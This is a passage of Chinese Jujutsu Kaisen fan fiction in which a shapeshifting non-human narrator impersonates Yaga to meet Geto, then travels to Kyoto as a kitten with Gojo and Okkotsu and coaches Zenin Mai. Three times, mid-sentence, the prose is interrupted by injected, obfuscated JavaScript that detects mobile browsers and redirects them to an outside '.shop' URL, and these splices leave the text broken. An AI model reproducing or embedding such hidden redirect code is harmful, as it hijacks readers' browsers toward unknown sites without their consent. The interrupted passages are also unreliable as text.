“这么说就有点没礼貌了吧。”我忍不住替夜蛾正道打抱不平,“我这副尊容有什么问题吗?” 夏油杰沉默了,荒谬的是,这番话居然让他确认对方是不知道自己认识夜蛾正道的,也就是说,这个人也许可能或许真的不是故意的。 但作为一个认识夜蛾正道,也对自己别有所求的家伙,这人是怎么做到对他跟咒术高专的关系一无所知的呢? · 我为什么会对夏油杰和咒术高专的关系一无所知呢? 事后回想起来,也只能怪他自己。 谁让他拍照的时候不好好穿校服,只穿一件短袖上衣呢?对比把高专校服老老实实穿在身上的五条悟和家入小姐,我自然是把他当成早早辍学、只能从校外翻墙去找两位好学生玩耍的小混混了。 毕竟又是谁让他又是留长发、又是戴耳扩、还穿了昭和混混最爱的灯笼裤,以及最后的决定性证据,他面对作为校长的夜蛾正道,居然一点碰见熟人的反应都没有呢? 桩桩件件,哪条冤枉了他? 当然,现在的我是不知道这些的。 我以为这个有混混前科的怪和尚只是单纯没礼貌而已。 “你是一年级?怎么没跟你的同伴一起?”夏油杰友好的笑了笑,哪怕是对着空气,也维持了成年人该有的体面。 小孩子的恶作剧吗...好吧,如果ta愿意成就自己的大业,他就不跟ta计较了。 “我怎么可能是一年级呢。”不读书的混混连常识都如此匮乏,真是恐怖,“就算留级十年,我也不可能还是一年级吧。” 看来是打算伪装到底了,内心再无起伏的夏油杰心想。 从某种意义上来说,还是个心思缜密的家伙,是高专少见的类型。 “好吧,是我误会了,那么你是...” “咒术高专的校长,夜蛾正道。”我决定伪装到底。 夏油杰的拳头硬了,但再硬也没有面前这只死鸭子的嘴硬。 ta是夜蛾正道?ta如果是夜蛾正道他就从这里跳下去,不用术式。 但奇怪的是,他很快又不生气了,因为如果他猜的没错,面前这个人是没有恶意的,至于ta所说的吃掉...如果ta不是有吃人的怪癖,应该是别有深意了。 毕竟刚才那么好的偷袭时机,ta却没有出手,反而主动暴露自己。 “久仰大名,夜蛾校长。” 哦,看来夜蛾校长还是个名人,早知道就不用他了。 我突然有些后悔,难怪夏油杰的反应有一点点奇怪呢,但又不像关系多好的样子。 “在回答您的问题之前,能否允许我先问您一个问题呢?” “问。”我爽快的回答想必很好的维持了夜蛾校长的硬汉作风,虽然他是个会织棉花娃娃的硬汉。 “对于...那些看不见咒灵的普通人,您是怎么看的呢?” 嘶.... 夜蛾正道...怎么看普通人?这就涉及到我的知识盲区了。 我抵着下巴,双手抱臂,摆出认真思考的样子。 我以为自己装的很像,但在夏油杰眼中,我已经是一个如真包换的假货了。 我只见过夜蛾正道一次,好在那一次他也问了我相同的问题,而对于我的回答,他也没有发表意见,想来也是在心里认可了吧。 既然如此,就不用再另编什么谎话了,所谓真诚就是必杀技—— “普通人,作为食物,有些鸡肋。” 果然,听见我的回答,夏油杰高兴极了,当即敞开怀抱: “是吗,很高兴我们有相同的见解。” 他甚至放下戒备,大步向我走来,袈裟被他带的都威风起来了。 “这里实在不是适合谈话的地方,不介意的话,不如找个地方好好坐下来谈?” 不愧是五条悟的好友,怎么都喜欢叫人坐下来谈,但也可能是人类的习惯。 但是现在吗...没记错的话,现在的我好像还在工作...因为自己的私事擅离职守,算不算旷工呢? 但是忧太那边又已经结束了,里香虽然现身过一次,但情况跟之前还是一样,我本来也做不了什么。 “好吧,你等我回个工作消息。”我一边掏出手机,一边开始打字。 【忧太、棘,辛苦了,我这边有点事,先回去了,不用跟悟说。】 最后那句是我后来加上的,以防万一。 点击发送后,我收起手机,开始询问夏油杰该如何去往他口中能坐下来谈谈的地方。 会不会也有什么‘夏油杰自动驾驶模式’? 可惜夏油杰的出行方式相当朴素,他选择走楼梯离开天台,再坐电梯下楼。 真是个低调的出家人。 · 好吧,我小看他了,这个出家人一点也不低调,他还是个一教之主呢。 在离开那栋建筑的时候,我表示自己的身份不适合在人前露面,夏油杰很是体谅的表示我可以随时像刚才那样隐身。 “真是特别的术式呢。”他不经意的恭维着。 “谢谢。”我礼貌回应。 不知道是不是我的错觉,他的笑容好像僵硬了一瞬。 在他的带领下,我们来到一座和室,作为教主,整个盘星教他是说一不二的老大,寻一处适合谈话的私密空间对他来说简直是轻而易举。 为尽主人之道,他替我倒了茶,有了居酒屋的教训,我没有一饮而尽,直接一滴未沾,为表礼貌,我只说自己并不口渴。 夏油杰表示理解,看我的眼神更满意了。 他揣着袖子坐在茶案对面,一个劲的微笑,似乎在等我开口。 这个我知道,有些人在谈正事之前都喜欢聊些有的没的作为寒暄,既然要让我来开启话题...好吧,我试试。 选一个轻松点的话题作为开场白,开个好头吧。 “教主。”工作期间称职务,是基本的职场礼仪。 夏油杰还是微笑,但不知为何总感觉他看上去有些不自在,明明是在他自己的地盘。好吧,也许是他把这次谈话看的比较重要,反而是我太懈怠了。 “您今天为什么会出现在楼顶呢?” 一上来就是这么尖锐的话题吗,夏油杰默默感慨,还真是不简单啊。 既然如此...他就赌一把,如果ta不能为自己所用,就将ta留在这里,也不怕计划暴露。 “如您所见,我也想亲眼见识特级咒灵祈本里香的力量。” 真是个敞亮人啊。我对他又满意了一点。 “目的呢?” 寸步不让吗。 夏油杰默念着,却没有感受到相应的压力。 “我的术式,您应该还有印象吧?”他用了个模糊的说法。 他的术式? 他的什么术式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178560|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有点懵。 我应该知道吗? 不,应该是‘夜蛾正道’应该知道... ... 可我不知道啊,早知道先问问五条悟了,他肯定知道吧,如果连这都不知道,他们算什么朋友,平时都在假玩吧。 现在问也来不及,只能赌一把了。 将心比心,也许我来到这里的理由,就跟他去到那里的理由一样—— “你想吃掉它。” 夏油杰点了点头,接着道:“不知可否请您帮我这个忙呢?” 已经做好谈条件的准备的我自然是一点也不意外,不过我没想到,五条悟的朋友居然这么老实,他居然只提了这一个条件。 “这就算你的条件了?”还是不要问他是不是只有这个了,万一反而给他提供什么得寸进尺的灵感,我可就得不偿失了。 “嗯。”夏油杰从善如流的点头。 我想了想,这个条件不算难,甚至可以说,他找我算是找对人了。 乙骨忧太不想要里香,夏油杰想要里香,既然两方的需求如此吻合,作为中间人的我又是同一个,何乐而不为呢? 我只是从中为自己谋取一点微不足道的小福利罢了,就当是中介费了。 反正他们谁也没有损失,不是吗? 乙骨忧太丢掉了麻烦,夏油杰用里香满足了口腹之欲,我也能用夏油杰解解馋,三个愿望,一次满足。 “时间不早了,我就先回去了。”应下以后,我已经决定离开。 得赶在被五条悟抓包之前回去。 “嗯,我送您。” 他礼数越是周全,我越为自己的此前的论断感到羞愧。 “关于称呼的问题,以后,我就叫您‘主’怎么样?” 夏油杰身形一僵。 这又是哪出。 “称呼的问题我是无所谓...” 话说到一半,我就握住他用来引路的手,重重的握了握,上下晃了晃。 “那就请多关照了,主。” 看着被‘夜蛾正道’郑重的用双手握住的右手,夏油杰彻底无话可说了,只能一边僵硬着笑脸答应,一边祈祷这个人能快点走。 “请...多关照。” 我满意的点了点头,转身离开了。 我不知道的是,夏油杰一个人站在和室门口,目送我的背影离开,直到我消失,都想不出个所以然来。 庭院的枫叶恰好飘落,他无聊的望去,正好瞥见落幕的夕阳—— “跟悟住在一起的女人,有拍到过照片吗?” 方才还无人的走道尽头,突然出现一道人影。 “嗯。” · 我回来晚了。 五条悟发现了。 他好像生气了。 “居然让忧太替你撒谎,不怕带坏我的学生吗?”他坐在我的第二母星上,双手抱在胸前,翘着二郎腿,十足的居高临下。 换作平时,我肯定不会就这么让他骑在我头上,但是今天... “事出有因。” “哦?那艾利恩能解释解释,是什么事让你丢掉了诚实的品格吗?” 对了,我还有一招必杀技。 “我去见了主。” 真诚。 五条悟愣住了,他张开嘴,三秒之后,才说: “你信基督?” “宗教在人类社会中占据很大一部分,从某种意义上来说,咒术师也是信徒,但你们信奉的多为神道教或佛教...难道你要因为这个...” “不不不,我可没有这个意思”五条悟连忙举起双手,“不过你没有被奇怪的人带到奇怪的地方,让你帮忙带什么认识的人过去,或者交什么教金吧?” “没有。” 后半段没有。 五条悟放心了,他从沙发上坐起,朝我走过来: “还有一件事,京都的...你就当是另一所高专吧,两所学校打算开一场交流会,那边有个孩子的术式跟你的能力很像,艾利恩有兴趣去看看吗?” “我以为你会随便找个理由把我带过去。” 还挺记仇呢。五条悟突然觉得好笑。 “跟今天的事情扯平...怎么样?” “我答应了。没有其他事的话,我先休息了。” 说着,我绕过他,把第二母星的正面转到面对阳台的方向,夜空已经升起,星辰已经布满幕布。 我蹲坐上去,只留一个背影。 这家伙...五条悟琢磨着。 到底去干什么了,居然心虚成这样。 10.想吃的第十天 “五条老师...这个是...” 乙骨忧太茫然的盯着被五条悟抱在怀里的黑色幼猫,黑曜石般的兽瞳平静的与他对视着,两只露在外面的小黑爪子悠闲的扒在五条悟的手臂上,偶尔在五条悟的手背或者袖口踩上两脚,调整姿势。 看起来像是刚出生不到一个月的小猫被人养的很好,皮毛光滑,目光敏锐,但纯圆而占据大部分眼珠只留一圈金黄在外缘的瞳孔形状,又让它比成年的黑猫少了些许神秘,更多是作为毛绒玩具的可爱无害。 而且它居然不怕‘里香’。 “是艾利恩哦。” “欸?!...艾利恩小姐为什么会变成猫?被诅咒了吗?” 的确是被‘诅咒’了呢,被他尊敬的五条老师。 我无聊的舔了舔爪子,把上面那点从五条悟手上蹭到的咒力用猫舌头卷进肚子。 “这倒没有,只是艾利恩不放心总监部提供的专机,所以想跟我们一起上飞机。” 我无语的抬头看了这个张口就来的家伙一眼,刚收回视线,就看见乙骨忧太感动的眼神,只能扭头对着五条悟的胸口面壁。 交流会的地点在京都,坐新干线是最方便的,但考虑到乙骨身上还有个不定时炸弹,一个叫总监部的组织决定由他们提供专机负责将乙骨送到京都。 “五条老师不一起吗?”乙骨顺手就从五条悟手中将我接了过去。 “一起哦。”五条悟说,“但艾利恩也不放心我哦,她说如果飞机失事的话,自己会很难过的。” 我的原话是会很‘难办’,且主要原因也不是这个。 我继续盯着依旧添油加醋的五条悟,没有理会头顶那道探究的视线。 负责开车送我们去机场的是伊地知先生,看见乙骨抱着我,还微笑着夸了两句,五条悟问他要不要摸摸看,他以为我是乙骨的猫,见他点头,就朝我伸出手—— “是艾利恩哦。”五条悟突然打断。 伊地知的手僵在我头顶,在我抬眼的瞬间虎口逃生般的缩了回去。 恶作剧得逞的五条悟发出今天的第一声大笑。 我本来想去空旷的副驾驶位一只猫待着,结果屁股还没坐热就被五条悟拦腰抓走,以‘让小猫咪坐副驾驶是违反交通法规的你想害伊地知被吊销驾照吗’为由将我强行带到了后座。 在欣赏够我因为惯性在皮质座椅上滑来滑去的画面后,五条悟愉悦的将我抱到自己腿上,不安分的右手很自然的伸进我脖子一圈的猫毛里揉搓。 ... 算了,随便他吧。 “你是怎么发现我拜托忧太撒谎的。”我突然开口道。 五条悟看见乙骨忧太身形一僵,又低头看见我那双无辜的黑色圆眼,一边说,一边用食指戳我的脑门: “你是故意不看场合的对吧,心眼真坏啊。” 第一下没躲过,脑袋被他戳的后仰了一下。 第二下我当即出招,抬手就想给他一爪子,可惜他躲的太快,还没被碰到那只手又按在我后脊的毛发上了。 最后只能用尾巴甩他两下。 这一攻击不仅给五条悟造成了0点伤害,还让他的精神状态得到改善,连笑容都扩大了:“艾利恩是喜欢发短信的人吗?” “我不是人。” “如果可以当面说的话,以艾利恩的谨慎,也不会选择发送短信这种能留下证据的方式,所以就只有一个可能了,当时的你抽不开身...” 这个话题到这里就可以了,再继续下去我又得想谎话骗他,那样很麻烦。 于是我决定转移话题: “你说的那个能力跟我很像的孩子——是什么情况?” “简单来说就是利用咒力创造现实物品的术式。” “自己的咒力吗?” “没错,能用其他人咒力的咒术师我还没见过呢。” “忧太不也能模仿别人的术式吗。”我一边说,一个矮身从五条悟手下溜走,顺势窜到乙骨忧太腿上。 他被这突如其来的动作弄的有些紧张,但还是像上车前那样将我抱在怀里,我踩了踩他的衣袖,勉强做成一个舒适的临时猫窝,挑衅的朝盯着这边的五条悟看去一眼,就开始闭眼装瞎。 猫胡子在空气中动了动,五条悟突然有些手痒。 “那天艾利恩看到了吗?”乙骨忧太意外道。 “我好歹也是等你们结束了才走的...”我不满的踩了踩他的手臂。 “抱歉,是我误会了。”乙骨忧太不好意思的挠了挠脸颊,“不过...艾利恩说的那个应该不算我的术式,是靠里香才能复制狗卷同学的咒言术...” 在乙骨忧太看不见的角落,我朝五条悟看去,收到他摇头的信号,最后决定先保持沉默好了。 关于这个问题,我们此前也讨论过,我的观点还是和之前一样,一定要说的话我会觉得把乙骨忧太和祈本里香当成一个人也行,反正尝起来都是一个味道。 五条悟表示他只能认可一部分。要么跟其他人的猜测一样,乙骨忧太本身是没有咒术天赋的普通人,现有的力量全都是被祈本里香诅咒的结果;要么就反过来,乙骨忧太才是这份力量的来源与实际操纵者,只是现在的他还没有办法真正掌握这份力量,至于咒灵里香,可以当成与他存在某种特殊束缚的存在。 “也就是说乙骨忧太可以控制咒灵,类似于式神?原来还有这样的咒术师吗。” 最后的不是一个问句,但他还是回答了。 “有的。” 抵达机场的时候,飞机已经停在停机坪了,登机梯的底端站着一个跟伊地知先生穿着同款西装的人,他跟下车的五条悟和乙骨忧太分别打了声招呼,注意到被乙骨一并带下车的我,也多问了一句。 按照在车上提前沟通好的说法,乙骨说我是他用来练习咒力控制的对象,因为敌人是咒灵,所以还是用活物模拟比较合适。 听话的人对此没有评价,但我猜她可能在心里觉得乙骨忧太真是有着和外表不符的残忍,或者她本人也足够残忍,所以不觉得用一只如此可爱的小猫做危险实验是很过分的事情。 话说回来,这还是我第一次坐飞机。 我示意五条悟掀开遮挡住天空的窗帘,他一开始还听话的照做,但就在我凑到窗边打算用这个新奇的视角好好看看云层的时候,一个人类脑袋就这么挤了过来。 要不是他的手掌够大,我绝对会被挤下去。 “你不会知道自己现在很可爱吧?”他突然问。 我下意识抬头去看,猝不及防的跟墨镜后的眼睛来了个对视。 “不过我是狗派哦。”他笑着说。 我学着电视机里的人默默翻了个白眼,心说谁管你,但此刻的机舱里除了五条悟和乙骨忧太还有外人,所以作为猫的我只能模仿这种兽类的习性发出威胁的声音。 咕噜———咕噜——— 正当我等着他知难而退时,却被他用下巴蹭歪了脸,我躲闪不及,结结实实的挨了下来,想往后躲也不行,最后竟然只能‘投敌’—主动往他怀里钻。 五条悟一边哈哈笑一边把已经顺势窜到他头顶的我抱下来,将我钳制在手臂与胸膛的缝隙之间,笑声的震动对此刻的我而言算得上是小型地震。 我张嘴想低头咬他一口,却发现脖子太短,够不到。 更可恶的是他发现我的动作以后笑的更大声了。 “五条先生很受猫咪欢迎呢。”将他们接上飞机的人说。 谁欢迎了? 你今天也戴了不透光的墨镜吗? “是吗。”他低头看了看我,疑惑无辜的表情比直接嘲笑更像挑衅。 “猫咪只会对喜欢的人发出‘咕噜咕噜’的叫声。”那人解释道。 ... 原来是我弄错了。 我想叹息,却张嘴一声‘喵呜’,好在五条悟也露出破绽,我终于得以摆脱他的双臂跳到地面,穿过过道径直窜进乙骨忧太的怀里,顺便把脑袋埋进去。 眼不见为净。 有双手在我脑袋上拍了拍,我已经不想管那是谁了,总之不是五条悟。 · 飞机落地后,一个皱巴巴的人类老头带着一个穿着类似服饰的女人,还有一堆游戏npc设定的人类迎接了我们。 被五条悟叫作庵歌姬的女人好像有点在意我的存在,为了消除怀疑我熟练的喵呜一声,导致她看我的眼神更奇怪了。 是因为我又被五条悟绑架了? 我狐疑的扭头想去看他,却被一只打手罩住脑袋,不轻不重的揉了揉。 “那是什么,五条。”皱巴巴说。 “忘记带老花镜了吗?”五条悟托着我往上抬了抬,“这么可爱的小猫你看不见吗?” 皱巴巴的脑门上出现一个井号,就在他开口之前,五条悟又堵住他的意见:“就当成乙骨同学用来练习咒力控制的咒具吧。” “我们要亲自检查。”皱巴巴提出意见。 “人老了就是容易多疑呢,乙骨同学,你觉得呢?”五条悟一边重新用双手将我抱在怀里,一边扭头看旁边的乙骨忧太。 “我没问题,但是检查完请在交流会开始之前把爱子(aikou)还给我。” 乙骨忧太按照计划也提出条件,皱巴巴点头答应了。 随后我们跟着几人,一起朝交流会的举办地点走去,庵歌姬朝我看了好几眼,最终还算没忍住问:“明明是乙骨同学的猫,为什么一直被你抱在怀里?” 我喵了一声,不能再认同。 听见这话,五条悟炫耀似的挠了挠我的下巴,咧嘴笑道:“庵歌姬的视力也下降了吗?当然是因为爱子喜欢我呀,猫咪可是只会黏着喜欢的人类的人类的哦。” 趁他松懈,这次我张嘴就咬住他的一根食指,但刚用尖牙感受到指腹柔软的触感,就被另一根手指惩罚似的拍了拍脑袋,我下意识松嘴,甚至没给他留下一个牙印。 五条悟不仅不闪躲,反而凑到正在呼噜呼噜的我眼前,装作认真听话的样子:“什么什么?爱子想去庵歌姬那边吗?欸...小心被他们抓走去做奇奇怪怪的实验哦。” “我们才不会——”庵歌姬下意识反驳,但话还没说完,就被从五条悟的掌控中脱离,窜入她怀中的我惊得说不出话,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188720|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得及小心翼翼的抱住我。 “那就拜托你了,不可以让老头子们做伤害小猫咪的事情哦~” 说完,五条悟转身离开,只留一人一猫落在队伍最后。 将乙骨忧太安全送到京都之后,就由我来负责他的安全,这也是计划的一部分。 “居然就这么走了...”看着五条悟不断缩小的背影,庵歌姬忍不住感叹。 “喵....” 她下意识低头,以为怀里的猫在叫自己,却看见金环包围下的黑色瞳孔中,印着一个白色的光点。 “那家伙都喂你吃什么了。” 他自己。 · 所谓的检查,也就是在乙骨同学的面前由一位隶属于京都咒专的所谓‘专业人士’将我提起又放下,最后得出结论,就是一只普通的小猫。 虽然不知道他们在怀疑些什么,但在确认我‘没问题’之后,京都校的人就将我还给了乙骨。 晚上,我按照计划留下一节触须照看乙骨忧太这边的情况,自己则偷偷离开京都咒专,按照五条悟给的参考路线,勉强还算隐秘的潜入了那个孩子所在的地方。 五条悟提到的那个孩子不在京都校的参会名单之内,且因为一些特殊原因,她正好也不在学校。 之所以跑这一趟也是想从她的咒术身上找找灵感,我现在的‘术式’还是我熟悉的那套模仿机制,只是在需要的时候在外面附上一层咒力用以吸收或转换。 但那个孩子的术式则是在咒术的运作体系下完成的创造,如果能从中得到些许灵感,说不定就能找到在不吃掉乙骨的前提下,完全‘祓除’里香的办法。 不过这只是附带的任务,这次京都之旅的关键还是乙骨的安全,五条悟虽然还在京都,有情况可以随时赶回去,但主要的监护职责还在我这边。 要速战速决,不能强—— “现在连野猫都能溜进来了?外面那些废物既然这么没用,干脆切腹好了。” 我躲的很快,一般人的反应能力是抓不住我的,所以现在揪着我的后颈肉的人类很可能也是咒术师。 说不定能利用他找到目标? “这样也没有反应,哪来的蠢猫?” 触须自尾后伸出,不附带咒力的隐形对于五条悟之外的人类而言是绝对的。 但就在触须钻入他眼角缝隙、侵入大脑的前一瞬间,他突然将我从眼前挪开,像提垃圾一样将我拎在身体一侧—— “真依酱。” 随着男人的招呼,缘侧尽头的阴影处出现一张女人的脸,那张脸我是见过的,正因如此我才不会认错。 她短促的皱了下眉,很快又恢复正常,看得出她想表现出一副浑不在意的模样,但厌恶还算不受控制的溢出。 她没有正眼看拎着我的这个人,她的视线维持在一个微垂的角度,也因此看见了我。 我的四肢和尾巴都自然垂下,尾巴末端的毛发几次擦过地面,只有我的眼睛一眨不眨的盯着她。 我没有发出声音,因为猜到我对她的兴趣会让这个受她厌恶、又为她所忌惮的男人感到不悦,给她带去不幸,而我还需要她的术式。 “不是惹扇叔父生气也要去什么咒术学校吗?看你一脸可怜样...被赶出来了?” 她身上散发出一股淡淡的烦躁,表情和语调还是一如方才:“不是。” 但过于简短的回复还是没能让问话的人满意: “女人一开始自以为是就更——啧。” 趁他没注意,我反嘴在他的虎口留下两个血洞,新鲜血珠从白净的皮肤表面冒出。 知道他的反应相较一般人更快,我也调整了速度,逃走之前还用尾巴在他离得最近的手指尖打了个卷,而他受伤的手只堪堪蹭到我那点擦过地板的尾巴毛, “哈...”那人怒极反笑,也不管站在一边的禅院真依,竞直接追起了狡猾可恶的野猫。 我故意跑进相对宽阔的庭院,有意控制着与身后之人的距离,在他以为快要得手的时候悄悄用触须推着自己向前窜出一步。 随着一阵奇异的力量波动,我猜他使用了咒力,然而并没有什么用。 我模仿他那副慵懒的语气和黏糊腔调,留下一句评价—— “废物,切腹自尽吧。” 又在听见他的获奖感言之前,翻墙离开现场。 我重新开启隐身,朝我的任务目标赶去,离开之前听见了她捂嘴轻笑的声音,希望这个见面礼她还满意。 · 心情不错的禅院真依回到房间,刚打算关窗,就看见一只熟悉的黑猫窜上窗台,冷冰冰的月光打在油光水滑的黑色皮毛上,圆而黑的大眼睛对于任何爱猫人士都是不容抗拒的杀手锏。 但她见过它真正的‘杀手锏’。 在将它送去安全的地带之前,禅院真依向它的小脑袋伸出手—— “真依,我想看看你的术式。” ... 见了鬼了,猫说人话了。 “作为交换,我会把我会的东西教给你。” “如果你愿意,可以叫我猫咪老师(娘口三三)。” 11.想吃的第十一天 “这样...就可以吗?” 外表毫无异常的小猫就这样舔着爪子,看它熟练的动作,仿佛刚才吃的只是一条河边抓到的小鱼,而不是一把手枪,虽然是她两天前用咒力构筑出来的就是了。 ... 就是什么就是啊!不管是用什么做的,那都是手枪啊!又不是猫罐头! “嗯,这样就可以了。” 意识到自己还在跟人交涉,我默默收起爪子,装作无事发生的样子。 怎么说呢,虽然比不上活生生的咒灵,更不用说五条悟,但刚才那把用咒力凝结成的手枪,在我看来有点像是人类的巧克力,虽然不能算正餐,但作为解馋的点心还算精细。 就是可惜,听真依的意思,做这样一把手枪得耗光两天的咒力,作为一块巧克力,消耗还算太大了。 不过,我知道该用什么作为报酬了。 “这是什么?” 禅院真依不自觉的蹲身凑近,一个对她来说非常幼稚的动作,只有东堂那种男生才能毫无顾忌的做出来。 ‘猫咪老师’抬眼看了她一眼,一边加快手上的动作,一边不紧不慢的解释: “这是我能找到的需要构筑的物质密度最低的材料,理论上说,你只需要消耗对比原来所需的千分之一的咒力,就能创造出等量同质的物品,顺便附带一些特殊属性,我还没来得及实验,感兴趣的话可以用咒力替换掉原本的颗粒连接点,说不定会出现奇妙的现象。” “如你所见,我获取物质信息的主要方式是进食,而你是怎么做到只用观察就解析出物品信息的,我有点好奇。” 禅院真依愣了愣,才反应过来对方这是在等自己回复。 “构筑术式...就是这种东西啊,也不是多少见的术式吧。” “我没有问你这个。”黑猫眨了眨眼。 禅院真依没由来的感到一阵紧张与羞愧,因为下意识否定了自己?还算害怕被它否定? 为什么?明明只是陌生人,甚至连眼前这个东西是不是人都无法确定。 “我得走了。”黑猫回首看了眼窗外,“尝试用咒力复刻这块材料吧,然后...你们的想象力不是很丰富吗,尝试做点有意思的东西出来吧,没有灵感的话可以看看科幻电影,我觉得还挺有意思的。” “那样——又能怎样?” “嗯?”猫的脚步一顿,滴溜溜的黑瞳重新转向她。 “就算像你说的那样,用这块材料,做出了不得了的东西——总之就是变强对吧?那又能怎样?” 禅院真依突然站了起来,这使得我不得不仰头看她,或者干脆放弃与她对视。 我想了想,纵身一跃,直接跳到她的肩头,又从她的颈后绕到另一侧的肩头,与此同时紧紧盯住她的双眼—— “你不是也很想揍那个臭小子一顿吗?为什么不?是不能还是不敢?” “不是这么简单的问题。” 禅院真依撇开视线,又被它从另一侧堵截。 而她居然从一只猫脸上看出认真的神色,不同于动作的冒犯,猫瞳中没有一丝戏弄的意味。 “难道不是你们把问题复杂化了吗?” “你以为只要打败那一个人就够了吗?打败了,然后呢?逃跑吗?逃到哪——” “为什么要逃跑?我知道你想说什么——打跑一个还会有另一个,敌人是源源不断的,是这个意思吗?” “啊...你就这样理解吧。”禅院真依心想自己真是疯了,跟一只猫争论什么。 “那就全部打败好了。” 禅院真依瞳孔骤缩,不是因为对方的放言有多幼稚,而是如此幼稚的想法,她竟也在心里想过。 “所以还是不够强。” 禅院真依继续沉默着,猫也在这时跳下她的肩头,四肢并用立在窗台,却没有急于离开,月光下冷酷神秘的黑猫灵巧的翻了个身,又背对着月光趴下了。 它到底想干什么? “我知道了,除了材料,你还需要一个目标,我认识的咒术师不多,但姑且还有一个人选。” “五条悟,你认识他吗?” 不如说不认识才奇怪,但这个名字出现在这里太突兀,她过了一会才反应过来点头。 “那先超过他吧。” 轻描淡写的一句话,落在听者耳中,却是震耳欲聋。 “你...在开玩笑吗?”禅院真依哑然失笑。 “你知道咒术师是有评级的吧?”她压低眉眼,再一次蹲在窗台前,毫不躲闪的面对着那双天真到可笑的眼睛。 “嗯,还算了解。” “五条悟虽然是特级,但已经是公认无法用评级体系衡量了,我现在的评级是三级,未来也不会超过二级,什么都不明白——” “冷静点,你又开始胡言乱语了。”黑猫弓起背,伸了个懒腰,“创造需要规则,但也别太依赖规则。” “创造可是没有极限的。” 等禅院真依回过神,窗台上已经空无一物。 突然,一道声音凭空响起—— “下次见面,如果你能做出点有意思的东西,我也会拿出有价值的东西作为交换。” 禅院真依本能的朝窗外探身,除了维持平衡的双腿,几乎半个身子都露在了窗外,她四下搜寻,连一只猫的影子都没发现。 真正的空无一物。 · 等我回到京都高专,天已经蒙蒙亮了,甚至操场上还有人赤着胳膊在锻炼,走到乙骨的宿舍门前,我刚打算撬锁进去,却发现门一推就开了。 不等我自行钻入,就有人将我拦腰抓起,一个转身将我抱至胸前,又反手将门悄悄关上,与此同时,我闻到一股熟悉的洗衣粉清香。 “艾利恩...你终于回来了。” 乙骨忧太像是松了口气,就这么靠着门板坐在地上。 明明没有受伤,看上去却很虚弱,这是乙骨忧太的个人风格。 我爬到他头顶,低头观察他露在刘海外面的脸,确认只是黑眼圈稍微加深一点以后,随口问道:“怎么了?” “五条老师昨晚问你有没有回来。” “那你说我回来了不就好了。”按照我们的计划。 乙骨神色复杂的摇了摇头,“他说如果没有亲耳听见一只黑色曼基康小猫的叫声,他是不会相信的。” 他拿出手机,五条悟的回信末尾还带着一个看上去欠欠的emoji表情。 “我知道了,交给我,你去休息吧。” · 交流会即将开始,作为东京校唯一代表的乙骨自然是由跟他一起来的五条悟负责带到现场的。 乙骨住的地方就在学生宿舍附近,等五条悟去接人的时候,沿路也碰到几位京都高专的学生,还被一个女生要了合照。 可能是看他的态度过于随和,西宫桃竟然直接问了那个问题: “那个——五条先生。” “嗯?怎么了?”五条悟转身。 “听说乙骨君带了一只猫用来练习,是真的吗?” “啊~你说爱子呀,是真的,就在他房间哦,要去看吗?” “欸,可以吗?” 走着走着,一行人已经来到乙骨的房间门口,围在五条悟身后的已经不止是对猫咪感兴趣的两位女孩子,还有想先一步打探情报的加茂宪纪和机械丸。 “忧太~你好了吗?” “五条老师,我没问题,但是——” 话还没说完,五条悟已经拉开了拉门,乙骨本人的确已经穿戴整齐,连咒具都好好背在身上,但衣着体面的他不知为何看上去有些手足无措,而随着众人视线下移,所有人都理解他为何如此。 · 我原本想用手机给五条悟发短信,但不小心点进一个名叫俄罗斯方块的小游戏。 我原本只想试试深浅,等通关了就跟五条悟发送消息。 但俄罗斯方块的水比我想象的深,就在我第145次即将通关的时候,突然一道‘刷拉’声,抬头看去,正是我原本想要联络的五条悟。 而他身后,则站着一群穿着深色制服的学生。 我看了看他们,又看了看亮起的手机屏幕,当机立断—— 先装作不小心把手机踢到一边,再三步并作两步以身为饵,吸引他们的注意力的同时抵达目标。 很好,五条悟识时务的接住了我,我敷衍的在他胸口扒了两下,就将脑袋埋了进去,同时配合动作喵喵叫着。 “抱歉抱歉~这孩子最近有点黏人呢。”五条悟心情大好,顺手撸了两把自投罗网的猫。 不应该跟乙骨同学道歉吗?明明是别人的猫。 加茂宪纪不动声色的腹诽着。 黑猫哦...这么一看跟我很搭嘛,要不要也去捡一只试试。 西宫桃暗自规划。 帅哥!!猫咪!!赛高!!!!!!! 三轮霞正在拼命保持苹果肌平整。 喂,猫在玩手机啊,没人吐槽吗,话说为什么是俄罗斯方块。 机械丸无法释怀。 为期两天的交流会没有出现任何意外,当然,这只是针对乙骨,对于京都校的各位而言,乙骨忧太本身就是那个最大的意外了,谁都没有想到这边的所有人会被一个人全面碾压。 等五条一行离开后,终于不需要再强颜欢笑的庵歌姬开始计算给学生们一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 